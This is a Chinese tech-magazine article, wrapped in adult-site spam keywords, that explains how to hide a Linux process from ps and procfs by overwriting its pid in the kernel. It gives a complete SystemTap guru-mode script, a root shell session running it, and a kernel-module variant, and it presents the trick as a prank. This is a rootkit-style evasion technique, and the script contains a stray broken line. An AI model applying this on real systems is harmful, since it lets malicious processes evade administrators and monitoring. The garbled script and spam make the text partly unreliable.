成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

一行代碼如何隱藏Linux進程?_IT技術周刊第644期

技術期刊
技術資訊盡在技術周刊

 

[[342042]]

總有朋友問隱藏Linux進程的方法,我說你想隱藏到什么程度,是大隱于內核,還是小隱于用戶。網上通篇論述的無外乎 hook 掉 procfs 或者類似的用戶態方案,也都難免長篇大論,我說,這些場面都太大了,太復雜了。對于希望馬上看到效果的而言,看到這么一堆復雜的東西,大概率望而卻步。

本文介紹一種將Linux進程小隱于用戶的非常規方法,僅僅一行代碼:

修改掉進程的pid即可。

注意是小隱,所以,不值得反制,逗一下高級會議工程師搞個惡作劇玩玩得了。

  1. target->pid = 0x7fffffff; 

完整的腳本如下:

  1. #!/usr/bin/stap -g 
  2. # hide.stp 
  3.  
  4. global pid; 
  5.  
  6. function hide(who:long) 
  7. %{ 
  8.     struct task_struct *target; 
  9.  
  10.     target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); 
  11.     target->pid = 0x7fffffff; 
  12. %} 
  13.  
  14. probe begin 
  15.     pid = $1 
  16.     hide(pid); 
  17.     exit(); 
  18. ff; 

來來來,試一下:

  1. [root@localhost system]# ./tohide & 
  2. [1] 403 
  3. [root@localhost system]# ./hide.stp 
  4. [root@localhost system]#  

用下面的命令可以檢測所有可顯示進程的二進制文件:

  1. for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do  
  2.     ls -l /proc/$pid/exe;  
  3. done 

procfs里沒了,ps當然就檢測不到了。

如果你覺得guru 模式的 stap 怪怪的,那么你完全可以編寫自己獨立的 Linux kernel module,采用修改完即退的方法:

  1. target->pid = xxxx; 

return -1;是不是比各種hook法簡單多了,所謂的動數據而不要動代碼!是不是比各種 hook 法簡單多了,所謂的動數據而不要動代碼!

簡單的說一下原理:

task被創建的時候,根據其pid注冊procfs目錄結構。

展示procfs目錄結構的時候,遍歷task list以其pid作為key來查找procfs目錄結構。

0x7fffffff(或者任何其它合理的值)根本沒有注冊過,當然無法顯示。

責任編輯:張潔 來源: 技術周刊
相關推薦

2020-09-09 16:00:22

Linux進程

2016-04-05 11:40:17

殺毒51CTOIT技術周刊

2013-08-06 09:31:42

IT技術周刊

2017-09-20 14:42:44

2021-07-20 17:38:43

技術資訊

2016-05-30 17:51:34

網絡安全技術周刊

2011-01-23 12:41:56

IT技術周刊

2017-07-24 10:42:24

IT技術周刊

2020-02-03 14:34:41

技術資訊

2014-10-31 11:24:43

網絡·安全技術周刊

2011-05-13 11:21:05

2021-10-20 13:59:38

技術資訊

2019-04-08 18:23:31

2015-09-22 15:19:07

網絡安全技術周刊

2013-04-23 14:03:21

IT技術周刊

2018-12-10 13:50:16

網絡安全網絡安全技術周刊

2010-03-30 14:58:16

FreeBSD知名Linux

2009-08-31 12:51:58

IT技術周刊國家寬帶計劃CCNP改版

2016-12-02 08:53:18

Python一行代碼

2012-05-02 10:28:57

安全技術
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 成人永久免费视频 | 欧美激情久久久久久 | 欧美日韩综合一区 | 久久99深爱久久99精品 | 精品久久久久久久人人人人传媒 | 中文字幕一区二区不卡 | 日本欧美国产在线观看 | 日韩成人av在线 | 亚洲精品久久久久久下一站 | 久久久久国产一区二区三区 | 久久99精品久久 | 日韩av一区二区在线 | 国产一区视频在线 | 欧美激情精品久久久久久 | 日韩毛片在线免费观看 | 婷婷久久久久 | 成人免费精品视频 | 91精品中文字幕一区二区三区 | 女同久久| 成人久久18免费网站图片 | 亚洲精品美女 | 91久久精 | 超碰天天 | 欧美日韩一区二区三区四区五区 | 成人亚洲精品 | 久久综合久色欧美综合狠狠 | 中文字幕男人的天堂 | 欧美1区2区 | 性在线| 日韩久久久久 | 中文字幕亚洲欧美 | 亚洲精品一区二区三区中文字幕 | 日韩α片 | 操人网| 欧美一区二区免费在线 | 成人h免费观看视频 | av免费观看网站 | 久久中文字幕一区 | 久久精品国产一区老色匹 | 亚洲国产精品一区 | 国产精品久久久久久久久久免费看 |